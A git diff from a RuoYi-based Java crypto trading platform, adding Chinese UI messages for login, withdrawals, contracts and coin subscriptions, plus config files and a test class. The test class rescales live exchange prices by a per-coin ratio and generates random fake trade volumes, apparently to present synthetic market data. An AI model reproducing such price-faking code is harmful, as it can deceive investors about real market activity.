+user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_error=\u5151\u6362\u91D1\u989D\u5927\u4E8E\u8D26\u6237\u4F59\u989D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +#\u7406\u8D22 +user.push.message=\u7528\u6237\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7EA7\u4E0D\u591F\uFF0C\u65E0\u6CD5\u8D2D\u4E70\u6B21\u7406\u8D22\u4EA7\u54C1 +order.single.min=\u8D2D\u4E70\u7684\u91D1\u989D\u5C11\u4E8E\u6700\u4F4E\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.single.max=\u8D2D\u4E70\u7684\u91D1\u989D\u5927\u4E8E\u6700\u5927\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.buy.insufficient=\u60A8\u5F53\u524D\u6700\u591A\u53EF\u8D2D\u4E70\u91D1\u989D\u4E3A{0} +product.removed=\u4EA7\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6237\u5DF2\u5230\u8FBE\u9650\u5236\u6B21\u6570,\u4E0D\u5141\u8BB8\u8D2D\u4E70 +days.not.null=\u8D2D\u4E70\u5468\u671F\u4E3A\u7A7A +days.not.error=\u8D2D\u4E70\u5468\u671F\u9519\u8BEF + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u4F59\u989D\u4E0D\u8DB3 + +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} + + + +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u5408\u7EA6\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5\uFF01 \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/logback.xml b/ruoyi-admin/src/main/resources/logback.xml new file mode 100644 index 0000000..651d594 --- /dev/null +++ b/ruoyi-admin/src/main/resources/logback.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + ${log.pattern} + + + + + + ${log.path}/sys-info.log + + + + ${log.path}/sys-info.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + INFO + + ACCEPT + + DENY + + + + + ${log.path}/sys-error.log + + + + ${log.path}/sys-error.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + ERROR + + ACCEPT + + DENY + + + + + + ${log.path}/sys-user.log + + + ${log.path}/sys-user.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml b/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml new file mode 100644 index 0000000..b6b1cff --- /dev/null +++ b/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/echo2-api.iml b/ruoyi-api/echo2-api.iml new file mode 100644 index 0000000..3c6c387 --- /dev/null +++ b/ruoyi-api/echo2-api.iml @@ -0,0 +1,315 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-api/pom.xml b/ruoyi-api/pom.xml new file mode 100644 index 0000000..f3d7809 --- /dev/null +++ b/ruoyi-api/pom.xml @@ -0,0 +1,102 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + jar + echo2-api + + + web服务入口 + + + + + + + org.springframework.boot + spring-boot-devtools + true + + + + + io.springfox + springfox-boot-starter + + + + + io.swagger + swagger-models + 1.6.2 + + + + + mysql + mysql-connector-java + + + + + com.ruoyi + ruoyi-framework + + + + + + + com.ruoyi + ruoyi-generator + + + org.projectlombok + lombok + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.1.1.RELEASE + + true + + + + + repackage + + + + + + org.apache.maven.plugins + maven-war-plugin + 3.1.0 + + false + ${project.artifactId} + + + + ${project.artifactId} + + + \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java b/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java new file mode 100644 index 0000000..7ac2d26 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java @@ -0,0 +1,30 @@ +package com.ruoyi; + + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.annotation.EnableScheduling; + +/** + * 启动程序 + * + * @author ruoyi + */ +@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class }) +@EnableScheduling +@EnableAsync +@EnableCaching + +public class ApiApplication{ + public static void main(String[] args){ + SpringApplication.run(ApiApplication.class, args); + System.out.println("api 启动成功 \n" ); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/Atest.java b/ruoyi-api/src/main/java/com/ruoyi/Atest.java new file mode 100644 index 0000000..f48cd66 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/Atest.java @@ -0,0 +1,231 @@ +package com.ruoyi; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.websocket.WebSocketConfigdd; +import com.ruoyi.websocket.WebSocketSubscriber; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.drafts.Draft; +import org.java_websocket.handshake.ServerHandshake; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.URI; +import java.util.*; + +/** + * @ClassName Atest + * @Description TODO + * @Author px + * @Version 1.0 + */ +public class Atest { + + public static void main(String[] args) { + + String proxyHost = "localhost"; + int proxyPort = 33210; + + Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyHost, proxyPort)); + + System.setProperty("http.proxyHost",proxyHost); + System.setProperty("http.proxyPort", String.valueOf(proxyPort)); + System.setProperty("https.proxyHost",proxyHost); + System.setProperty("https.proxyPort",String.valueOf(proxyPort)); + + + + String command = "curl http://cip.cc "; + + try { + Process process = Runtime.getRuntime().exec(command); + + BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + } + + int exitCode = process.waitFor(); + System.out.println("Exit Code: " + exitCode); + } catch (IOException | InterruptedException e) { + e.printStackTrace(); + } + } + + + public class WebSocketSubscriber extends WebSocketClient { + private static final long RECONNECT_INTERVAL = 5000; // 重连间隔,单位:毫秒 + + private Timer reconnectTimer; + private WebSocketUserManager webSocketUserManager; + private Set allCoins; + + private List coinList; + + public WebSocketSubscriber(URI serverUri, Draft draft, List coinList, WebSocketUserManager webSocketUserManager, Set allCoins) { + super(serverUri, draft); + reconnectTimer = new Timer(); + this.coinList = coinList; + this.webSocketUserManager = webSocketUserManager; + this.allCoins = allCoins; + } + + @Override + public void onOpen(ServerHandshake serverHandshake) { + System.out.println("WebSocket connection opened."); + } + + @Override + public void onMessage(String message) { + // 处理接收到的消息 + // 如果收到服务器发送的ping帧,回复pong帧 + if (message.equals("Ping")) { + send("Pong"); + } + //处理k线是数据 + if(message.contains("kline")){ + + } + //处理detail + if(message.contains("24hrTicker")){ + + } + + } + + @Override + public void onClose(int code, String reason, boolean remote) { + System.out.println("WebSocket connection closed. Code: " + code + ", Reason: " + reason); + if(-1 != code){ + reconnectWebSocket(); + } + } + + @Override + public void onError(Exception e) { + System.err.println("WebSocket error: " + e.getMessage()); + reconnectWebSocket(); + } + + private void reconnectWebSocket() { + reconnectTimer.schedule(new TimerTask() { + @Override + public void run() { + reconnect(); + System.out.println("Attempting to reconnect to WebSocket..."); + } + }, RECONNECT_INTERVAL); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java b/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java new file mode 100644 index 0000000..591708a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java @@ -0,0 +1,18 @@ +package com.ruoyi; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +/** + * web容器中进行部署 + * + * @author ruoyi + */ +public class RuoYiServletInitializer extends SpringBootServletInitializer +{ + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) + { + return application.sources(ApiApplication.class); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java b/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java new file mode 100644 index 0000000..69e7605 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java @@ -0,0 +1,98 @@ +package com.ruoyi.config; + +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.listener.ListenerMessage; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import com.ruoyi.websocket.WebSocketRunner; +import lombok.extern.slf4j.Slf4j; +import lombok.var; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.connection.stream.Consumer; +import org.springframework.data.redis.connection.stream.ReadOffset; +import org.springframework.data.redis.connection.stream.RecordId; +import org.springframework.data.redis.connection.stream.StreamOffset; +import org.springframework.data.redis.stream.StreamMessageListenerContainer; +import org.springframework.data.redis.stream.Subscription; + + +import javax.annotation.PostConstruct; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author Huhailong + * @Description 注入监听类 + * @Date 2021/3/12. + */ +@Slf4j +@Configuration +public class RedisStreamConfig { + + private final ListenerMessage streamListener; //监听类 + private final RedisUtil redisUtil; //redis工具类 + + @Value("${api-redis-stream.names}") + private String[]redisStreamNames; //redis stream 数组 + @Value("${api-redis-stream.groups}") + private String[]groups; //redis stream 群组数组 + + /** + * 注入工具类和监听类 + */ + @Autowired + public RedisStreamConfig(RedisUtil redisUtil, WebSocketRunner webSocketRunner, WebSocketNotice webSocketNotice, WebSocketCoinOver webSocketCoinOver, WebSocketSubCoins webSocketCoin){ + this.redisUtil = redisUtil; + this.streamListener = new 